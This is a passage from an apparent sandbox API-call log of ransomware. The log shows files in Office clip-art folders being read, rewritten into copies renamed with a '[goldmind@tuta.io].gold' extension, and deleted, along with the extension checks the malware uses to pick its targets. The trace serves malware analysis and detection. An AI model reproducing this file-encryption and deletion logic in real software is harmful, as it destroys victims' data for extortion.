hTemplateFile=0x0) returned 0x3d8 [0112.052] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=55554) returned 1 [0112.052] CloseHandle (hObject=0x3d8) returned 1 [0112.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 0x20 [0112.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.058] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.058] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0112.059] GetLastError () returned 0x0 [0112.059] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xd902, lpOverlapped=0x0) returned 1 [0112.061] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xd910, lpOverlapped=0x0) returned 1 [0112.062] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.062] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.063] SetEndOfFile (hFile=0x3d4) returned 1 [0112.063] CloseHandle (hObject=0x3d4) returned 1 [0112.063] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.063] SetEndOfFile (hFile=0x3ac) returned 1 [0112.065] CloseHandle (hObject=0x3ac) returned 1 [0112.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 1 [0112.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.066] lstrlenW (lpString=".doc") returned 4 [0112.066] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.066] lstrlenW (lpString=".docx") returned 5 [0112.066] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0112.066] lstrlenW (lpString=".pdf") returned 4 [0112.066] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.066] lstrlenW (lpString=".xls") returned 4 [0112.066] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString=".xlsx") returned 5 [0112.067] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0112.067] lstrlenW (lpString=".ppt") returned 4 [0112.067] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".zip") returned 4 [0112.067] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString=".rar") returned 4 [0112.067] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString=".bz2") returned 4 [0112.067] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.067] lstrlenW (lpString=".7z") returned 3 [0112.067] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".dbf") returned 4 [0112.067] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".1cd") returned 4 [0112.067] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".jpg") returned 4 [0112.067] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".doc") returned 4 [0112.067] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.067] lstrlenW (lpString=".docx") returned 5 [0112.067] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0112.067] lstrlenW (lpString=".pdf") returned 4 [0112.067] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString=".xls") returned 4 [0112.067] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString=".xlsx") returned 5 [0112.067] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0112.067] lstrlenW (lpString=".ppt") returned 4 [0112.067] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".zip") returned 4 [0112.067] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString=".rar") returned 4 [0112.067] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.067] lstrlenW (lpString=".bz2") returned 4 [0112.067] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.067] lstrlenW (lpString=".7z") returned 3 [0112.067] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".dbf") returned 4 [0112.067] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".1cd") returned 4 [0112.067] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0112.067] lstrlenW (lpString=".jpg") returned 4 [0112.067] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.068] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.068] lstrlenW (lpString="J0178459.JPG") returned 12 [0112.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.068] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=29204) returned 1 [0112.068] CloseHandle (hObject=0x3ac) returned 1 [0112.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 0x20 [0112.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.069] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.069] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0112.070] GetLastError () returned 0x0 [0112.070] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7214, lpOverlapped=0x0) returned 1 [0112.072] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0112.075] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.075] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.075] SetEndOfFile (hFile=0x3d4) returned 1 [0112.075] CloseHandle (hObject=0x3d4) returned 1 [0112.075] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.076] SetEndOfFile (hFile=0x3ac) returned 1 [0112.481] CloseHandle (hObject=0x3ac) returned 1 [0112.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 1 [0112.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.610] lstrlenW (lpString=".doc") returned 4 [0112.610] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.610] lstrlenW (lpString=".docx") returned 5 [0112.610] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0112.610] lstrlenW (lpString=".pdf") returned 4 [0112.610] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.610] lstrlenW (lpString=".xls") returned 4 [0112.610] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.610] lstrlenW (lpString=".xlsx") returned 5 [0112.610] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0112.610] lstrlenW (lpString=".ppt") returned 4 [0112.610] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.610] lstrlenW (lpString=".zip") returned 4 [0112.610] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.610] lstrlenW (lpString=".rar") returned 4 [0112.610] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.610] lstrlenW (lpString=".bz2") returned 4 [0112.610] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.610] lstrlenW (lpString=".7z") returned 3 [0112.610] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.610] lstrlenW (lpString=".dbf") returned 4 [0112.610] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.610] lstrlenW (lpString=".1cd") returned 4 [0112.610] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.610] lstrlenW (lpString=".jpg") returned 4 [0112.610] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.611] lstrlenW (lpString=".doc") returned 4 [0112.611] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.611] lstrlenW (lpString=".docx") returned 5 [0112.611] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0112.611] lstrlenW (lpString=".pdf") returned 4 [0112.611] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.611] lstrlenW (lpString=".xls") returned 4 [0112.611] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.611] lstrlenW (lpString=".xlsx") returned 5 [0112.611] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0112.611] lstrlenW (lpString=".ppt") returned 4 [0112.611] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.611] lstrlenW (lpString=".zip") returned 4 [0112.611] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.611] lstrlenW (lpString=".rar") returned 4 [0112.611] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.611] lstrlenW (lpString=".bz2") returned 4 [0112.611] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.611] lstrlenW (lpString=".7z") returned 3 [0112.611] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.611] lstrlenW (lpString=".dbf") returned 4 [0112.611] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.611] lstrlenW (lpString=".1cd") returned 4 [0112.611] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0112.611] lstrlenW (lpString=".jpg") returned 4 [0112.612] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.612] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.612] lstrlenW (lpString="J0182689.JPG") returned 12 [0112.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0112.705] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=16615) returned 1 [0112.705] CloseHandle (hObject=0x198) returned 1 [0112.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 0x20 [0112.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.745] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.745] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0112.746] GetLastError () returned 0x0 [0112.746] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x40e7, lpOverlapped=0x0) returned 1 [0112.774] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x40f0, lpOverlapped=0x0) returned 1 [0112.775] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.775] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.775] SetEndOfFile (hFile=0x198) returned 1 [0112.775] CloseHandle (hObject=0x198) returned 1 [0112.775] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.775] SetEndOfFile (hFile=0x394) returned 1 [0112.777] CloseHandle (hObject=0x394) returned 1 [0112.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 1 [0112.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.778] lstrlenW (lpString=".doc") returned 4 [0112.778] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.778] lstrlenW (lpString=".docx") returned 5 [0112.778] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0112.778] lstrlenW (lpString=".pdf") returned 4 [0112.778] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.778] lstrlenW (lpString=".xls") returned 4 [0112.778] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.778] lstrlenW (lpString=".xlsx") returned 5 [0112.778] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0112.778] lstrlenW (lpString=".ppt") returned 4 [0112.778] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".zip") returned 4 [0112.779] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.779] lstrlenW (lpString=".rar") returned 4 [0112.779] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.779] lstrlenW (lpString=".bz2") returned 4 [0112.779] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.779] lstrlenW (lpString=".7z") returned 3 [0112.779] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".dbf") returned 4 [0112.779] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".1cd") returned 4 [0112.779] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".jpg") returned 4 [0112.779] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".doc") returned 4 [0112.779] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.779] lstrlenW (lpString=".docx") returned 5 [0112.779] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0112.779] lstrlenW (lpString=".pdf") returned 4 [0112.779] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.779] lstrlenW (lpString=".xls") returned 4 [0112.779] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.779] lstrlenW (lpString=".xlsx") returned 5 [0112.779] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0112.779] lstrlenW (lpString=".ppt") returned 4 [0112.779] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".zip") returned 4 [0112.779] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.779] lstrlenW (lpString=".rar") returned 4 [0112.779] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.779] lstrlenW (lpString=".bz2") returned 4 [0112.779] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.779] lstrlenW (lpString=".7z") returned 3 [0112.779] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".dbf") returned 4 [0112.779] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".1cd") returned 4 [0112.779] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0112.779] lstrlenW (lpString=".jpg") returned 4 [0112.779] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.780] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.780] lstrlenW (lpString="J0182946.WMF") returned 12 [0112.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.780] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=16082) returned 1 [0112.780] CloseHandle (hObject=0x394) returned 1 [0112.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 0x20 [0112.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, 